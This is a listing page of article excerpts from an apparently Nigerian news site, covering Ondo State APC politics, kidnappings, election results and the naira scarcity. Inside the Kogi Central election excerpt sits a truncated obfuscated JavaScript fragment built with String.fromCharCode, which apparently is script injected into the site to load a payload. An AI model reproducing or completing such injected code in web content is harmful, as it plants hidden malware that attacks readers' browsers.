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23May By Sharpedge NewsNo Comments

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NECA seeks legal framework to regulate labour migration in Nigeria

By Joan Nwagwu The Nigeria Employers Consultative Association (NECA) has called for the establishment of a legal framework to regulate labour migration in the country. Mrs Margaret Isabona, Chairman, Northern Geographical Group of NECA, made the call during a Policy Dialogue on Friday in Abuja. The dialogue also featured the inauguration of the Policy Brief on Employer Participation in Labour Migration Governance in Nigeria. The programme was organised by NECA and the International Labour Organisation (ILO). Isabona, who is also the Managing Director of ProHealth, Health Maintained Organisation (HMO), said increasing labour migration required proper governance structures to ensure fairness and accountability in recruitment and employment processes. According to her, the ...

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4May By Sharpedge NewsNo Comments

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Ondo APC Primaries: Former Speaker Cautions Against Divisions, Set to Parley Aggrieved Contenders

Amid activities leading to the Ondo State national and state Assemblies' primaries in ruling All Progressives Congress, APC, a former Speaker of the state's House of Assembly , Rt. Hon. Jumoke Akindele, has called for mutual understanding and decorum among contenders. She has also opted to meet with all the aggrieved contenders soon, to bring about amicable resolution. Akindele, who was Speaker of the seventh and eighth Assemblies and also a leading crusader for party cohesion and mobilisation in Ondo State , particularly sought cooperation with the leadership of the state governor, Hon. Lucky Aiyedatiwa, as he meant well for all party members. In a statement issued in Akure on Monday, doubly titled, "My Fellow APC Aspirants, Play the Big Game, Not Just the Ball" and "President T...

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21Apr By Sharpedge NewsNo Comments

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Reps aspirant commends Aiyedatiwa over arrest of 100 suspected kidnappers

A stalwart of the All Progressives Congress (APC) in Akure South Local Government Area of Ondo State, Hon. Dare Aliu, has commended Governor Lucky Orimisan Aiyedatiwa over the arrest of more than 100 suspected kidnappers across the state. Governor Aiyedatiwa had recently intensified security operations across Ondo State, leading to the arrest of several suspects linked to kidnapping and related crimes, in a bid to curb rising criminal activities and restore public confidence. Aliu, while reacting to the development, said the governor’s decisive action had rekindled hope among residents and demonstrated a firm commitment to safeguarding lives and property. The APC chieftain, who is aspiring to represent Akure North/South Federal Constituency in the House of Representatives, said “...

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18Mar By Sharpedge NewsNo Comments

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A Domestic Violence Report – Port Harcourt

A 36 year old woman, Ashionye Nwose, has accused her ex-husband, Umanah Augustine Itoro of prolonged domestic abuse in the Agip Estate area of Port Harcourt, Rivers State. According to Ashionye, the abuse began during their relationship after she refused to terminate a pregnancy. He absconded as a result of her decision to keep the baby. He showed up prior to her child birth. Although they later got married, she said that Augustine subjected her to repeated physical, emotional, verbal, and sexual abuse, often threatening her life and restricting her movements. She stated that attempts to leave were met with further violence and abuse including confiscation of her personal belongings and isolation. Despite an earlier family and subsequent Police intervention and a signed undertaking ...

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6Jul By Sharpedge NewsNo Comments

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Group laments kidnap of siblings, killing of one other victim

A socio-political group in Ondo State, Ondo Solidarity Forum ( OSF) has condemned a recent kidnap and prolonged incarceration by abductors, of notable pharmacist, Mr. Isaac Taiwo, and a lawyer, Mrs Oluwadayisi, both of whom are siblings. The incident, which occurred along the tricky Owo-Sobe Road in the state, led to the death of a person who was shot dead inside the target vehicle and serious injuries sustained by the driver and other occupants when the vehicle veered off and had a crash. Reacting in a statement in Akure, the OSF publicity secretary, Comrade Samuel Alone, said it was high time a decisive action was taken against the malaise of kidnappers by both the government, the security agencies and community leaders.“Every now and then, there are hues and cries in various home...

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4Jun By Sharpedge NewsNo Comments

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Rights Lawyer, Oluwadayisi, Escapes Kidnap Attempt Weeks After Advocating Life Sentence for Kidnappers

By Justin Aduloju Renowned legal practitioner, scholar, and human rights advocate, Dr. Akin Olawale Oluwadayisi, narrowly escaped a suspected kidnap attempt on the night of Tuesday, 29th May 2024, shortly after returning from an international academic engagement in Ghana. Dr. Oluwadayisi had just returned from attending the 6th International Economic Summit/Conference held at the University of Ghana, where he participated in discussions on critical regional and global issues. According to reliable sources, upon arrival at his residence in the Bwari Area Council of the Federal Capital Territory (FCT), Abuja, armed bandits reportedly attacked his family home. According to accounts, the attackers targeted Dr. Oluwadayisi and his family members, including his children. Evidence of...

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19Apr By BolarinwaNo Comments

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Aiyedatiwa Campaign Group Defends Free Fuel for Okada Riders

…as Governor rounds off campaign tour The Lucky Aiyedatiwa Campaign Organisation Foot Soldiers Independent Council (LACO-FSIC) on Friday clarified that its fuel purchase for operators of commercial motorcycles, popularly called Okada, in Akoko communities was not an attempt to induce them ahead of Saturday's governorship primary-election of the All Progressives Congress (APC). At press time, no fewer than 1,500 okadas had got the freebie of having their tanks filled at various petrol stations in Ikare, headquarters of Akoko Northeast, and in its environs, streaming to communities in Akoko Northwest and Akoko Northest. Justifying the gesture, the LACO-FSIC Convener and prominent indigene of Ikare, Dr Oladipupo Okeyomi, said the gesture was a continuation of palliative measures emb...

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18Apr By Kayode FasuaNo Comments

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How Owo Stood Still For Governor Aiyedatiwa

By Kayode Fasua In an unprecedented manner, Governor Lucky Aiyedatiwa of Ondo State stormed the ancient town of Owo amid tumultuous crowds of supporters on Wednesday, in continuation of his campaigns for the governorship ticket of the All Progressives Congress (APC). Owo is the hometown of the late former Governor Rotimi Akeredolu (SAN), who was Aiyedatiwa's immediate predecessor. Various APC groups had been mobilised to receive the governor under the aegis of Lucky Aiyedatiwa Campaign Organisation Foot Soldiers Independent Council (LACO-FSIC), led by its Director-General for Owo Local Government, Dr. Adeyemi Olayemi, widely known as Koko. Olayemi's LACO-FSIC team was also complemented by Wumi Network group, floated by the state's Commissioner for Finance, Mrs Omowumi Isaac. ...

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28Jul By BolarinwaNo Comments

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Student loan: Activist Urges States, LGs to Emulate FG

Convener/National Coordinator of Social Rehabilitation Gruppe (SRG), Dr. Marindoti Oludare, has tasked government at the state and local government levels to replicate the kind gesture of the administration of President Bola Ahmed Tinubu, by assisting indigent students and pupils of secondary and primary schools, respectively. The President recently announced student loans cutting across tertiary institutions in the country. Oludare, a US-based medical doctor from Ondo State, Nigeria, gave the admonition at the end-of-session party organised for pupils of Delad Nursary and Primary School, Iro, Akure, Ondo State. The medic and socio-political activist noted that President Tinubu had set the template for giving access to children from poor homes who aspire to become graduates but a...

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24Jul By Kayode FasuaNo Comments

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Akeredolu”ll Survive Health Challenge, Says Cleric

General Evangelist of Christ Apostolic Church, Prophet Ezekiah Oladeji, has expressed the conviction that ailing Ondo State governor, Mr. Rotimi Akeredolu (SAN), would return to his desk hale and hearty soon. He gave the forsee at a thanksgiving service, powered by Prince Oyeleye Fasua, to mark the 67th birthday of the governor at the Chapel of Grace, Government House, Akure, over the weekend. Oladeji, who expressed consternation at insinuations that the governor was incapacitated or dying, sneered, saying many of the governor's detractors were his supposed friends. "I know some people are already rejoicing, trying to fathom out the type of 'aso ebi ' apparel to be bought in the event of the governor’s death. Whereas, these are people close to him, who are supposed to be his frie...

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3Jun By BolarinwaNo Comments

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Ondo Party Chieftain Raises Alarm Over Continued Threat to Life

A chieftain of the Peoples Democratic Party in Ondo State, Mr. Kamoru Ogundare, has raised the alarm over continued threat to his life and those of his family members as a fallout of the political hostility in his Okeigbo hometown of Ileoluji-Okeigbo Local Government area, since last year. Kamoru, who is currently in hiding, has sought for assistance through his uncle, Alhaji Sumola Faremi, who spoke with our correspondent in Okeigbo over the weekend. He said Ogundare's ordeal dated to May 2022 when his principal to whom he was a special assistant on politics and strategy, contested for the PDP ticket to run for the House of Representatives' election from the area. "There were seven other contestants along with Kamoru's boss known as Honourable Olatunji Timothy Felder. "Some o...

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11May By Kayode FasuaNo Comments

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Fashoranti is Builder of Nation, Says Oludare

Nigeria-born US medical practitioner, Dr. Marindoti Oludare, who joins other eminent Nigerians in congratulating elder statesman and Afenifere leader, Pa Reuben Fasoranti on his 97th birthday, has described the nonagenarian as not just a builder of men but also of the nation. Thirty-four-year old Oludare, who is Convener/National Coordinator of Social Rehabilitation Gruppe (SRG) in a statement titled, "A Prose to a Sage", issued from Texas, USA, described Akure, Ondo State-born Fashoranti as a leader who could have easily become governor or aspired to be president, but opted to retreat to the background and help in shaping policies that all are today hailing as fantastic. Recall that Pa Fashoranti who turns 97 on Thursday, was an acolyte of the late sage, Chief Obafemi Awolowo, and ...

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2May By Sharpedge NewsNo Comments

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Don’t Joke With Your Health, Oyebanji Advises Civil Servants

The Governor of Ekiti State, Mr. Biodun Oyebanji, has advised civil servants to attach great importance to their health and strike a balance between work and rest to avert untimely death. Governor Oyebanji gave the advice on Monday, while flagging off the construction of the Ekiti State Civil Service Senior Staff Club and Recreation Centre in Ado Ekiti, the Ekiti State capital. The foundation-laying ceremony which was withnessed by the deputy Governor, Chief (Mrs) Monisade Afuye, Speaker of the state Assembly, Rt Hon Bunmi Adelugba, labour leaders and top government officials was done immediately after the workers day taly at the Ekiti Parapo Pavilion Ado Ekiti. The governor, who described the project as historic, urged top government functionaries to always strike a balance betw...

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9Apr By Kayode FasuaNo Comments

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Okeyomi Commends Tinubu’s Maturity, Calls for Collaboration

Founder of the Change Agent Foundation International (CAFI), a non-governmental organisation, Dr. Dipo Okeyomi, has applauded the maturity displayed by the President-elect, Asiwaju Bola Tinubu, in the face of persistent criticisms from opposition parties, in the wake of his electoral victory. Okeyomi, popularly known as Carry-Go, in a goodwill message to mark Easter celebrations, said "Asiwaju, rather than dignify his attackers with responses, has instead retreated to his desk, planning seriously on how to take Nigeria out of the wood". Commending the President-elect to other politicians, Okeyomi, also a leading member of the All Progressives Congress (APC) said Tinubu has by his approach, demonstrated that politics is not a do-or-die affair, but a call to service. He, as such ta...

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26Mar By Sharpedge NewsNo Comments

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Nothing must truncate May 29 handing-over, group tasks security agencies

Convener/National Coordinator of a socio-political organisation, Social Rehabilitation Gruppe (SRG), Dr. Marindoti Oludare, has tasked all security organs of government to work assiduously towards ensuring a hitch-free handing over of government to the President-elect, Asiwaju Bola Tinubu, come May 29. Oludare who gave the charge in a statement on Sunday, said the alarm raised by the Department of State Service (DSS) that some groups were plotting to instigate violence ahead of the May 29 handing-over should not be taken lightly. He traced the plot to truncate the Democratic process to losers in the presidential election, urging that they should be reined in. "It is with great concern that I have watched the post-election agitations and instigations in my dear country. I find mos...

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21Mar By Sharpedge NewsNo Comments

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UniAbuja VC mourns Dadakuada music legend, Jaigbade Alao

Vice-Chancellor of University of Abuja, Prof. Abdul-Rasheed Na’Allah, has commiserated with the family of the late Dadakuada music maestro, Alhaji Jaigbade Alao, who died in the early hours of Monday at the age of 121. This is contained in a condolence message issued by the university’s Head of Information and University Relations, Dr Habib Yakoob, on behalf of the Governing Council, Senate, staff members and students of the institution. The vice-chancellor commiserated with Kwara government, Gov. Abdulrahman AbdulRazaq and the Emir of Ilorin, Dr Ibrahim Sulu-Gambari, Maimartaba Sarkin Ilori, friends, fans and lovers of the deceased across the world. Na’Allah, who said he had researched extensively into Jaigbade’s music as resource for African Oral Literature and Performance, sai...

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5Mar By Felix ShammahNo Comments

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OPINION: March 11: Sanwo-Olu Not Chinedu, Please

By Mobolaji Sanusi Ingratitude is a crime that is more despicable than revenge that is only returning evil for evil. Sadly, ingratitude returns evil for good.” —William George Jordan In: The Power Of Truth: Individual Problems And Possibilities(1902). Psychological torture can sometimes be worse than physical torture. The former is what the results of February 25 presidential election in Lagos State has inflicted on the psyche of genuine Yoruba free-born. I am one and so, l am deeply concerned. One is more particularly perturbed by Igbo indigenes living in Lagos and enjoying the benevolence of their Yoruba host communities but now threatening to take over the state by voting for one Chinedu Rhodes-Vivour because of his Igbo blood affiliation. Sad also is that no one has...

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28Feb By Sharpedge NewsNo Comments

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Elections: APC Candidate Beats Natasha Akpoti To Win Kogi Central Senatorial Seat

Abubakar Sadiku-Ohere of the All Progressive Congress (APC) has been declared winner of Kogi central senatorial district. He defeated Natasha Akpoti-Uduaghan, the candidate of the Peoples Democratic Party (PDP). Announcing the results, Rotimi Ajayi, INEC returning officer for Kogi central senatorial district, said Sadiku-Ohere garnered 52,132 votes to beat Natasha who had 51,763 votes. He added that Engineer Abubakar Sadiku-Ohere having scored the highest votes in the election for the Kogi central senatorial seat is hereby declared winner, and is therefore returned elected,”. Just last week Thursday, Akpoti-Uduaghan accused the Kogi government of trying to disenfranchise voters in the state. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116...

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25Feb By Kayode FasuaNo Comments

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New Naira notes: Malami’s Utterances Disappointing, Says Activist

A recent statement credited to the Minister of Justice and Attorney General of the Federation, Abubakar Malami (SAN), suggesting that some governors and individuals could be tried for treason for opposing the modalities for federal government's currency notes' swap, has been condemned as sheer political rascality. Malami was on Friday taken to the cleaners by the Convener/National Coordinator of Social Rehabilitation Gruppe (SRG), Dr. Marindoti Oludare, who expressed reservations about the competence of the minister. The Attorney General, had while speaking with journalists in Abuja, said the fate of some state governors and individuals being investigated for alleged treasonable utterances over the currency swap would be determined by the security agencies involved.  Some go...

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6Feb By Sharpedge NewsNo Comments

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Scarce Naira Notes Meant to Scuttle Presidential Poll, Group Alleges

As Nigerians groan under the biting effects of scarcity of naira notes in the economy, a socio-political organisation, Social Rehabilitation Gruppe (SRG), has warned the Central Bank of Nigeria (CBN) under its Governor, Mr. Godwin Emefiele, not to heat up the system ahead of the February 25 presidential election. Convener/National Coordinator of the group, Dr. Marindoti Oludare, in a statement on Sunday, said setting a hurried expiry date for the old naira notes at a time Nigeria is preparing for a major election smacked of mischief and evil plot, to derail a smooth transition from one government to another. "While it is within the right of the CBN to change the naira notes, it is also liable to addressing hiccups that could occur in the process, but in this case, the apex bank is a...

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